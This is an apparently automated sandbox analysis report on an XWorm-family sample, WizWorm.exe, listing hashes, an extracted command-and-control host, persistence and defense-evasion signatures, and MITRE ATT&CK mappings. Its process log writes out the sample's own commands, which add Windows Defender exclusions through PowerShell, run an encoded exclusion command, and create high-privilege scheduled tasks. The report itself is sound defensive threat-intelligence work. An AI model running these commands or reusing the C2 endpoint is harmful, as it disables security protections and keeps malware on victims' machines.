Analysis
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max time kernel
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max time network
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platform
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resource
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resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
20/11/2024, 02:45
Static task
static1
Behavioral task
behavioral1
Sample
WizWorm.exe
Resource
win10v2004-20241007-en
General
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Target
WizWorm.exe
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Size
14.4MB
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MD5
7b482bfebde8df6acddf6ade34bdc08c
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SHA1
bb8515e16d931d9482d0231adc1f6e15eb2fd3e2
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SHA256
2b60d620e823ec02ddc282697d4d9fb1f444463081f04fd06438a7bc96a9ef6a
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SHA512
66a1503cd25f8ffca00c0f13683116bdf53a99a41764715823a398da9777795ce64aa3160a32d39f424407648eaec3fc2637482a280994fa6477b53450e08b9d
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SSDEEP
393216:8b8KCaXxgAAtOdR7eHNhoTP81jIMCrSAPp14uKVQ2E0iQII/1:8b8KRXxqtHthoTlPpftQIs1
Malware Config
Extracted
xworm
mailing-perception.gl.at.ply.gg:63145
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Install_directory
%ProgramData%
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install_file
USB.exe
Signatures
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Detect Xworm Payload 1 IoCs
resource yara_rule behavioral1/memory/2332-82-0x000000001BD30000-0x000000001BD4A000-memory.dmp family_xworm -
Xworm family
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Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 5116 powershell.exe 1764 powershell.exe 2216 powershell.exe 552 powershell.exe 4872 powershell.exe 3048 powershell.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation WizWorm.exe Key value queried \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation WizWorm.exe -
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WizWorm.lnk WizWorm.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WizWorm.lnk WizWorm.exe -
Executes dropped EXE 3 IoCs
pid Process 2332 WizWorm.exe 396 WizWorm.exe 5108 WizWorm.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WizWorm = "C:\\ProgramData\\WizWorm.exe" WizWorm.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 7 ip-api.com -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
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Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\WizWorm.exe WizWorm.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4980 schtasks.exe 3752 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1900 powershell.exe 1900 powershell.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 2216 powershell.exe 2216 powershell.exe 552 powershell.exe 552 powershell.exe 3168 taskmgr.exe 4872 powershell.exe 4872 powershell.exe 4872 powershell.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3048 powershell.exe 3048 powershell.exe 3048 powershell.exe 5116 powershell.exe 5116 powershell.exe 5116 powershell.exe 3168 taskmgr.exe 3168 taskmgr.exe 1764 powershell.exe 1764 powershell.exe 1764 powershell.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 2332 WizWorm.exe 2332 WizWorm.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3168 taskmgr.exe -
Suspicious use of AdjustPrivilegeToken 14 IoCs
description pid Process Token: SeDebugPrivilege 2332 WizWorm.exe Token: SeDebugPrivilege 1900 powershell.exe Token: SeDebugPrivilege 3168 taskmgr.exe Token: SeSystemProfilePrivilege 3168 taskmgr.exe Token: SeCreateGlobalPrivilege 3168 taskmgr.exe Token: SeDebugPrivilege 2216 powershell.exe Token: SeDebugPrivilege 552 powershell.exe Token: SeDebugPrivilege 4872 powershell.exe Token: SeDebugPrivilege 3048 powershell.exe Token: SeDebugPrivilege 5116 powershell.exe Token: SeDebugPrivilege 1764 powershell.exe Token: SeDebugPrivilege 2332 WizWorm.exe Token: SeDebugPrivilege 396 WizWorm.exe Token: SeDebugPrivilege 5108 WizWorm.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe -
Suspicious use of SendNotifyMessage 64 IoCs
pid Process 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe 3168 taskmgr.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2332 WizWorm.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2460 wrote to memory of 1900 2460 WizWorm.exe 84 PID 2460 wrote to memory of 1900 2460 WizWorm.exe 84 PID 2460 wrote to memory of 2332 2460 WizWorm.exe 86 PID 2460 wrote to memory of 2332 2460 WizWorm.exe 86 PID 2332 wrote to memory of 2216 2332 WizWorm.exe 97 PID 2332 wrote to memory of 2216 2332 WizWorm.exe 97 PID 2332 wrote to memory of 552 2332 WizWorm.exe 99 PID 2332 wrote to memory of 552 2332 WizWorm.exe 99 PID 2332 wrote to memory of 4872 2332 WizWorm.exe 101 PID 2332 wrote to memory of 4872 2332 WizWorm.exe 101 PID 2332 wrote to memory of 4980 2332 WizWorm.exe 104 PID 2332 wrote to memory of 4980 2332 WizWorm.exe 104 PID 2332 wrote to memory of 3048 2332 WizWorm.exe 107 PID 2332 wrote to memory of 3048 2332 WizWorm.exe 107 PID 2332 wrote to memory of 5116 2332 WizWorm.exe 111 PID 2332 wrote to memory of 5116 2332 WizWorm.exe 111 PID 2332 wrote to memory of 1764 2332 WizWorm.exe 113 PID 2332 wrote to memory of 1764 2332 WizWorm.exe 113 PID 2332 wrote to memory of 3752 2332 WizWorm.exe 115 PID 2332 wrote to memory of 3752 2332 WizWorm.exe 115 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\WizWorm.exe"C:\Users\Admin\AppData\Local\Temp\WizWorm.exe"1⤵
- Checks computer location settings
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2460 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZQBmACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHcAagBqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGsAdgBtACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGUAcgBhACMAPgA="2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1900
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C:\Windows\WizWorm.exe"C:\Windows\WizWorm.exe"2⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2332 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'WizWorm.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2216
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\WizWorm.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:552
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\WizWorm.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4872
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /rl highest /tn "WizWorm" /tr "C:\ProgramData\WizWorm.exe"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4980
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\WizWorm.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3048
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'WizWorm.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5116
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\WizWorm.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1764
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "WizWorm" /tr "C:\ProgramData\WizWorm.exe"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3752
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C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3168
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C:\ProgramData\WizWorm.exeC:\ProgramData\WizWorm.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:396
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C:\ProgramData\WizWorm.exeC:\ProgramData\WizWorm.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5108
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Modify Registry
1Obfuscated Files or Information
1Command Obfuscation
1Replay Monitor
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Downloads
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Filesize
1KB
MD53982d6d16fd43ae609fd495bb33433a2
SHA16c33cd681fdfd9a844a3128602455a768e348765
SHA2569a0a58776494250224706cbfbb08562eec3891fb988f17d66d0d8f9af4253cf9
SHA5124b69315f5d139b8978123bebd417231b28f86b6c1433eb88105465a342339c6c6b8c240a2ca8d2a9c1fca20136c8c167b78a770ab0664231f6e1742291cbf1aa
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD5cf5f16a238159cf782efdf308b95696f
SHA133bd27e1d015556b21cae2e5c055ccae6fe4f42a
SHA25631c335abca07196839c60cc6505919d9a16383ba3b3791786b55b97f2f7647c6
SHA5128472522af9c73d71d715ed50dd55010fad4674f4418aa577f5e628ad4d93ea51758d1cabd2502a867515035e3547179a08363e15a0dbb5adbf3ca38008e8404e
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Filesize
944B
MD52e907f77659a6601fcc408274894da2e
SHA19f5b72abef1cd7145bf37547cdb1b9254b4efe9d
SHA256385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233
SHA51234fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721
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Filesize
944B
MD51f8ac7ecec0193d6e152c3f10d070340
SHA1945a8957d0c35c873bf16bf83b48928d4e09b82b
SHA256f21d3bc031be1db415de1a6324660e5540bb7d8f4bdc75f22ba8ebb95643d044
SHA512d3a469acc6f53976f8a61cb97da755e47aec35aee8f8c8bc12c9b95435567cb83dee0739662ef303e4a58d57f05c212f685a556d07e5bf7a13f794e800e8a7f2
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Filesize
944B
MD5eb1ad317bd25b55b2bbdce8a28a74a94
SHA198a3978be4d10d62e7411946474579ee5bdc5ea6
SHA2569e94e7c9ac6134ee30e79498558aa1a5a1ac79a643666c3f8922eed215dd3a98
SHA512d011f266c0240d84470c0f9577cd9e4927309bd19bb38570ca9704ed8e1d159f9bea982a59d3eefef72ce7a10bd81208b82e88ef57c7af587f7437a89769adc0
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Filesize
944B
MD560945d1a2e48da37d4ce8d9c56b6845a
SHA183e80a6acbeb44b68b0da00b139471f428a9d6c1
SHA256314b91c00997034d6e015f40230d90ebbf57de5dc938b62c1a214d591793dbe3
SHA5125d068f1d6443e26ae3cad1c80f969e50e5860967b314153c4d3b6efd1cfa39f0907c6427bec7fa43db079f258b6357e4e9a1b0b1a36b1481d2049ea0e67909ed
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
670B
MD5d4bad0645b94e2926e337e402be0625f
SHA175efa7a99e7c1471d0d23fd8357eb778b7178d88
SHA2568bdd0950c6ae028e514d847b6ec5366f1869479e6f3c690c17722db868f7fc0d
SHA5127b9f43a7cf61ed0ab09a07c05c0f36583a3dfa89dc1811ab5d8dff4683d3f1312f451f05d04565075c8e9f764f6537ddad588f2377ceda7b7a1fba727beaa943
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Filesize
100KB
MD5314952857dbaa3f03c09355737b1d2c6
SHA12da8d4cceecdc52609f34ee6adf5876bcf6cea94
SHA2564bfe2784c6339e3ec2bbed7c751f88106524516dde2bb249a29b0cc883ff6a34
SHA5127dd9cb1152ea82a1e83f65b3e98071e30bdcb494f61362255d2301bcde227b9614548f182a179927be87c9b521f4e8295bc7a5ec78c4ca6132f38b445d0a839b